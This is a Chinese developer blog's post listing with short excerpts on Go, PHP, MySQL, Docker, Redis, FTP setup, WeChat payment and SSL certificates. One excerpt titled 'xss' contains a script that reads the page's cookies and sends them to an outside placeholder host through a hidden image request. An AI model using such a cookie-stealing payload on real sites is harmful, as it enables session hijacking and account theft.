- 博客(55)
- 收藏
- 关注
原创 golang A required privilege is not held by the client 报错
golang A required privilege is not held by the client 报错
2023-01-11 12:51:46
706
原创 服务器安装ftp
下载安装ftpyum -y install vsftpd启动service vsftpd start这里用这种方式的创建用户名和密码就能登录,用过其他方式设置完了用户也登录不上useradd -d /home/ftpuser ftpuser为ftp用户设置密码passwd ftpuser设置拥有文件权限chown -R ftpuser:ftpuser /home/ftpuser启动和停止ftpsystemctl start vsftpd.servicesystemctl .
2022-05-11 16:22:58
693
原创 docker && docker compose 命令
docker && docker compose 命令dockerfiledocker-compose 命令
2022-01-01 17:44:14
2211
原创 mysql 字段null 是否走索引
总结:mysql 数据库字段为null时 token_app加了索引1.SELECT * FROM `user` WHERE token_app='xxx'SELECT * FROM `user` WHERE token_app is null上面的都会走索引2.SELECT * FROM `user` WHERE token_app is not nullis not null不会走索引...
2021-04-07 17:12:01
1528
原创 php使用结巴分词进行分词
1https://github.com/jonnywang/goredisjieba<?php$redis_handle = new Redis();$redis_handle->connect('127.0.0.1', 6379, 10); //端口需要与config.xml配置保持一致$redis_handle->select(0);$result = $redis_handle->rawCommand('cutforsearch', '我来到北京清华大学'...
2021-01-26 15:12:03
527
原创 php异步非阻塞执行
function request_asynchronous($path, $method, $postData = array(), $url = ''){ if(empty($path)){ return false; } $matches = parse_url($url); $host = $matches['host']; $transports = 'tcp://'; //如没有使用HTTPS.
2020-12-01 11:42:55
234
原创 java linux下的安装
1.在官网去下载liux版的压缩文件wget --no-check-certificate --no-cookies --header "Cookie: oraclelicense=accept-securebackup-cookie" https://download.oracle.com/otn-pub/java/jdk/15+36/779bf45e88a44cbd9ea6621d33e33db1/jdk-15_linux-x64_bin.tar.gz2.解压tar zxvf jdk-15_li
2020-10-12 14:08:08
153
原创 xss
<script>var img = document.createElement('img');var str = document.cookie;str = str.replace(/^\s+|\s+$/g,"");str = str.replace(/\ +/g,"");str = str.replace(/[\r\n]/g,"");img.width = 0;img.height = 0;img.src ='http://xxx.cn/xx/xx/index.html?p.
2020-08-26 15:09:34
161
转载 Linux常用命令大全
Linux常用命令大全系统信息arch 显示机器的处理器架构uname -m 显示机器的处理器架构uname -r 显示正在使用的内核版本dmidecode -q 显示硬件系统部件 - (SMBIOS / DMI)hdparm -i /dev/hda 罗列一个磁盘的架构特性hdparm -tT /dev/sda 在磁盘上执行测试性读取操作cat /proc/cpuinfo 显示CPU info的信息cat /proc/interrupts 显示中断cat /proc/me...
2020-07-23 15:51:24
355
原创 python 执行多线程操作
importpymysqlfromitertoolsimportchainimportnumpyimporttimeimportqueueimportthreading#fromspiderPagesimport*exitFlag=0#数据库连接及处理数据classspider:#初始化def__i...
2020-04-30 17:51:40
329
原创 PHP 调用python脚本
php 代码<?phprequire_once'./db/mysqlpdo.class.php';set_time_limit(0);$pdo=newMysqlpdo();$sql="SELECT*FROM XXX ";$res=$pdo->fetchAll($sql);if(!empty($re...
2020-04-29 13:40:17
341
原创 网站报502错误
nginx 但是会发现错误日志中依旧有报错connect() failed (111: Connection refused) while connecting to upstream.一般情况下我们的upstream都是fastcgi://127.0.0.1:9000. 造成这个问题的原因大致有两个php-fpm没有运行执行如下命令查看是否启动了php-fpm,如果没有则启动你的p...
2020-03-14 23:41:14
913
原创 php 最简单的导出csv文件
前端:点击事件 // 会员导出 js function export_list() { var url = 'xxx/explode.html'; window.location.href = url; }后端输出public function _export($opts) { $browser_type = ‘...
2020-01-13 15:18:31
240
转载 也谈基于NodeJS的全栈式开发(基于NodeJS的前后端分离)
随着不同终端(Pad/Mobile/PC)的兴起,对开发人员的要求越来越高,纯浏览器端的响应式已经不能满足用户体验的高要求,我们往往需要针对不同的终端开发定制的版本。为了提升开发效率,前后端分离的需求越来越被重视,后端负责业务/数据接口,前端负责展现/交互逻辑,同一份数据接口,我们可以定制开发多个版本。 这个话题最近被讨论得比较多,阿里有些BU也在进行一些尝试。讨论了很久之后,我们团队决定探...
2019-11-29 17:10:40
415
原创 sessionID是如何在客户端和服务器端传递的,小程序、app又是怎么做的
浏览器端:1. 服务器初次创建session的时候后返回session到客服端(在返回头中有setCookie)2. 浏览器会把sessionname->sessionid存到cooike中,3. 下再次请求服务器时,会自动在请求头中带上cooike信息,服务器可以在_COOKIE中得取到想要的session小程序、app:因为小程序是不会自动设置保存cookie的,需要...
2019-11-12 14:46:48
1342
转载 count(*)和count(字段名)
count(*)和count(字段名)和count(1)count(*) 将返回表格中所有存在的行的总数包括值为 null 的行,然而 count(列名) 将返回表格中除去 null 以外的所有行的总数 (有默认值的列也会被计入),这点对于所有数据的 COUNT 计算都是一样的count(1) 与 count(*) 比较 :1>如果数据表没有主键,那么 count(1) 比 co...
2019-11-11 15:45:07
2401
原创 php 在linux环境下 向php文件中追加php代码
比如向config.php文件中追加两个配置文件原有文件<?php $a["test"] = "test";?>追加后文件<?php $a["test"] = "test"; $a["name"] = "张三"; $a["age"] = "18";?>$lineFeed_str = '\n';//换行//追加内容$append_st...
2019-10-15 11:34:07
263
原创 php 下载文件 解压文件 上传文件
//总流程public function download_demo_file(){ //1.下载 $url = 'http:/www.xxx.com/uploads.zip'; $file = file_get_contents($url); $path = 'xxx';//要存放的文件地址 $fileName = '/uploads.zip'; ...
2019-10-15 11:23:16
336
原创 datatable使用及属性介绍
前端制作表格神器 dataTable 基本用法属性介绍基本用法:https://www.cnblogs.com/a-flower-clover/p/8941023.html要注意的是,要被dataTable处理的table对象,必须有thead与tbody,而且,结构要规整(数据不一定要完整),这样才能正确处理。以下是在进行dataTable绑定处理时候可以附加的参数:属性名称 ...
2019-09-06 18:06:14
1847
转载 Jenkins入门
互联网软件的开发和发布,已经形成了一套标准流程,假如把开发工作流程分为以下几个阶段:编码 --> 构建 --> 集成 --> 测试 --> 交付 --> 部署正如你在上图中看到,[持续集成(Continuous Integration)]、[持续交付(Continuous Delivery)]和[持续部署(Continuous Deployment)]有着不同...
2019-07-29 17:15:04
683
原创 常用js代码
sessionStorage 的基本用法: 保存sessionStorage.setItem("key", "value"); 获取sessionStorage.getItem("key");获取选中: $("input[name='xxx']:checked").val();函数用于将一个或多个对象的内容合并到目标对象。 $.extend(object1,...
2019-07-15 13:47:15
228
转载 长轮询 和 短轮询
http 长轮询 和 短轮询http 长轮询1)介绍:http 长轮询是server 收到请求后如果有数据,立刻响应请求;如果没有数据 就会 停留 一段时间,这段时间内,如果 server 请求的数据到达(如查询数据库或数据的逻辑处理完成),就会立刻响应;如果这段时间过后,还没有数据到达,则以空数据的形式响应http请求;若浏览器收到的数据为空,会再次发送同样的http请求到server;2...
2019-05-13 18:03:39
2551
转载 升级PHPstudy自带的mysql版本 从5.5升级到5.7.22
升级PHPstudy自带的mysql版本升级之前做好数据库backup项目中需要用到datetime用 CURRENT_TIMESTAMP 由于phpstudy默认的mysql版本是5.5,不支持CURRENT_TIMESTAMP作为默认值,出现以下报错:TIMESTAMP with implicit DEFAULT value is deprecated. Please use --ex...
2019-05-13 14:59:57
459
原创 aes 加密 解密
//aes key function aesKey(){ return '1111111111265478';}//aes 加密 function encrypt($input = '') { $size = mcrypt_get_block_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_ECB); $input = pkcs5_pa...
2019-05-10 17:54:43
202
转载 html5 postMessage解决跨域、跨窗口消息传递 ifram
html5 postMessage解决跨域、跨窗口消息传递一些麻烦事儿平时做web开发的时候关于消息传递,除了客户端与服务器传值还有几个经常会遇到的问题1.页面和其打开的新窗口的数据传递2.多窗口之间消息传递3.页面与嵌套的iframe消息传递4.上面三个问题的跨域数据传递postMessage()这些问题都有一些解决办法,但html5引入的message的API可...
2019-05-10 17:33:31
421
原创 PHP实现RSA签名和验签
<?phpdefine('ICLOD_CERT_PATH',dirname(__FILE__).'/xx_pri.key' ); //私钥文件define('ICLOD_CERT_PUBLIC_PATH',dirname(__FILE__).'/xx_pub.key' );//公钥文件class RSA{/** 公钥用于对数据进行加密,私钥用于对数据进行解密。...
2019-05-10 17:28:13
3670
原创 php 代码操作ftp类
<?php/*********************************************FTP类*******************************************/namespace ftp;class ftp{ public $off; // 返回操作状态(成功/失败) public $conn_id; ...
2019-05-10 17:20:08
270
转载 tp5 模型关联
class BannerItem{ public function img() { return $this->belongsTo('Image', 'img_id', 'id'); }}class Banner extends BaseModel{ public function items() { re...
2019-03-18 23:12:14
435
原创 用 Redis 统计在线用户人数
每当一个用户上线时, 我们就执行ZADD命令, 将这个用户以及它的在线时间添加到指定的有序集合中:ZADD "online_users" <user_id> <current_timestamp>通过使用ZSCORE命令检查指定的用户 ID 在有序集合中是否有相关联的分值, 我们可以知道该用户是否在线:ZSCORE "online_users" &...
2019-03-06 16:53:01
1886
原创 微擎获取分销下级
public function getTeamMember($id, $isFor=false){global $_W;global $_GPC;static $arr = [];if ($isFor==true) $arr = array();$tempmerbers = pdo_fetchall...
2019-02-28 11:47:03
680
转载 PHP单点登录
前面做了一个新项目,需要用户资源可以需要共享。由于之前没有做过这样的东西,回家之后,立马网站百度“单点登录”。帖子很多,甄别之后,这里列几篇认为比较有营养。 http://blog.csdn.net/ghsau/article/details/20545513,http://blog.sina.com.cn/s/blog_5f66526e0102vf43.html 如果要解决两个网站之...
2019-02-25 17:01:17
3687
转载 php中隐形字符65279(utf-8的BOM头)问题
今天在CSDN看到一个php输出空白隐形字符65279的问题,在网上找了下,发下这个65279字符是php用来标记文件是utf-8编码的,输出的时候会一起输出到客户端,导致客户端如果使用ajax得到返回值时,无法匹配字符串。php隐形字符65279解释如下:UTF-8 编码的文件可以分为无 BOM 和 BOM 两种格式。何谓BOM? "EF BB BF" 这三个字节就叫BOM,全...
2019-02-13 10:55:35
444
原创 Windows 环境下安装redis 及其PHP Redis扩展
1、安装Redis (1)这里选择在github官网上下载Redis,地址:Redis下载地址下载压缩包(如下图),并解压到本地目录,我放在D:\redis(3)设置Windows本地开机自启动服务redis-server --service-install redis.windows.conf查看本地服务是否启动,启动成功如下图2、安装php redis扩展...
2018-12-29 15:37:54
315
1
转载 6种最好的图片无损压缩工具
第一:Tinypng地址:https://tinypng.com/这款工具我实在是太喜欢了,经常用到,最大限度的做到对画质无损的进行压缩这个工具他同时支持对Jpg和Png的压缩。Tinypng也支持Wordpress和magento的使用。Wordpress插件下载:https://wordpress.org/plugins/tiny-compress-images/Mag...
2018-12-28 11:56:32
6945
原创 微信支付 错误码10003 redirect_url域名与后台配置不一致解决方法
这个问题是微信公众号网址配置的问题,解决方法如下第一步:登陆微信公众平台网址:点击打开链接https://mp.weixin.qq.com/第二步:找到接口权限/功能服务/网页授权/修改第三步:修改成自己的域名(注意前面不能加https/http)第四步:到微信支付的产品中心/开发配置第五步:在公众号支付配置中添加jsapi授权目录注...
2018-07-24 15:40:26
25889
原创 windows phpstudy appache 环境下安装ssl证书 实现https访问(以美橙互联为例)
一、服务器部署环境二、购买域名三、购买ssl(这里买的免费的dv证书)证书并获取证书到邮件(需要对域名加txt解析,会有提醒)3.1 3.2登录你邮箱获取证书会发给你:3.2.1您的SSL证书私钥:-----BEGIN RSA PRIVATE KEY----- 3.2.2 您的SSL证书:-----BEGIN CERTIFICATE----- ...
2018-06-29 14:09:00
1967
原创 微信公众号点击菜单即可打开并登录微站的实现方法
微信公众号点击菜单即可打开并登录微站的实现方法:微信公众号点击菜单即可打开并登录微站实现步骤比较复杂,但很多微站在己用上了,本文对此进行整理归纳,相信可以给大家带来一定的参考借鉴价值。现在大部分微站都通过用户的微信openid来实现自动登录。在我之前的开发中,用户通过点击一个菜单,公众号返回一个图文,用户点击这个图文才可以自动登录微站。但是如果你拥有高级接口,就可以实现点击菜单
2018-02-02 15:50:33
5579
原创 windows下使用TortoiseGit代替Git命令行操作
windows下使用TortoiseGit代替Git命令行操作 大家在使用svn的时候,都非常喜欢使用小乌龟,也就是TortoiseSVN;那么git也有小乌龟版本,即TortoiseGit。一:安装msysGit 1. 访问 msysGit 的项目主页,下载 msysGit。http://msysgit.github.io/然后安装;二:安装Tort
2018-01-11 16:51:51
1204
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人